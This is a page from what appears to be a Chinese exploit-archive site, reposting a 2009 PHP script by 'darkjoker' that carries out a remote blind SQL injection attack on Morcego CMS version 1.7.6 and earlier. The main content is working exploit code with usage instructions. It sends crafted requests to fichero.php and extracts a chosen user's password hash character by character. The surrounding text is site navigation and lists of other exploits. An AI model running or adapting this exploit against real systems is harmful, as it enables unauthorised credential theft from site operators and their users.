首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Morcego CMS <= 1.7.6 Remote Blind SQL Injection Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-07-13  

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

<?php

function usage () {
 exit (  "\n".
  "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
  "-                                                                   -\n".
  "+ Morcego CMS <= 1.7.6 Blind SQL Injection Exploit                  +\n".
  "- Author  : darkjoker                                               -\n".
  "+ Site    : http://darkjoker.net23.net                              +\n".
         "- Download: http://sourceforge.net/projects/morcegocms/             -\n".
  "+ Usage   : php xpl.php <hostname> <path> <username>                +\n".
  "- Ex.     : php xpl.php localhost /MorcegoCMS/ root                 -\n".
  "+                                                                   +\n".
  "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
  "\n");
}

function hex ($string) {
 $i=0;
 while ($i<strlen($string))
  $hex .= "%".dechex(ord($string[$i++]));
 return $hex;
}

function check_chr ($hostname, $path, $pos, $char, $username) {
 $char = ord ($char);
 if (!($sp = fsockopen ($hostname, 80, $errno, $errstr, 5)))
  die ("[-] Unknow hostname.");
 $query = hex ("1' OR ASCII(SUBSTRING((SELECT password FROM morcego_users WHERE username='{$username}'),{$pos},1))={$char}-- ");
 $request = "GET {$path}fichero.php?{$query} HTTP/1.1\r\n".
     "Host: {$hostname}\r\n".
     "Connection: Close\r\n\r\n";
 fputs ($sp, $request);
 while (!feof ($sp))
  $reply .= fgets ($sp, 1024);
 fclose ($sp);
 if (preg_match ("|Page not found|", $reply))
  return false;
 else
  return true;
}

if ($argc != 4)
 usage ();
$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
echo "[+] Password (hash): ";
for ($i=0,$d=1;$i<strlen($array);) {
 if (check_chr ($hostname, $path, $d, $array [$i], $username)) {
  echo $array [$i];
  $i=0;
  $d++;
 }
 else
  $i++;
}
echo "\n";


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux/x86 Port Binding Shellco
·M3U/M3L to ASX/WPL 1.1 (ASX,M
·AwingSoft Web3D Player (WindsP
·Playlistmaker 1.5 (.M3U/M3L/T
·eEye Retina WiFi Security Scan
·d.net CMS Arbitrary Reinstall/
·OtsAv DJ/TV/Radio Multiple Loc
·Pirch IRC 98 Client (response)
·ToyLog 0.1 SQL Injection Vulne
·Photo DVD Maker Pro versions 8
·MS Internet Explorer 7 Video A
·Photo DVD Maker Pro <= 8.02 (.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved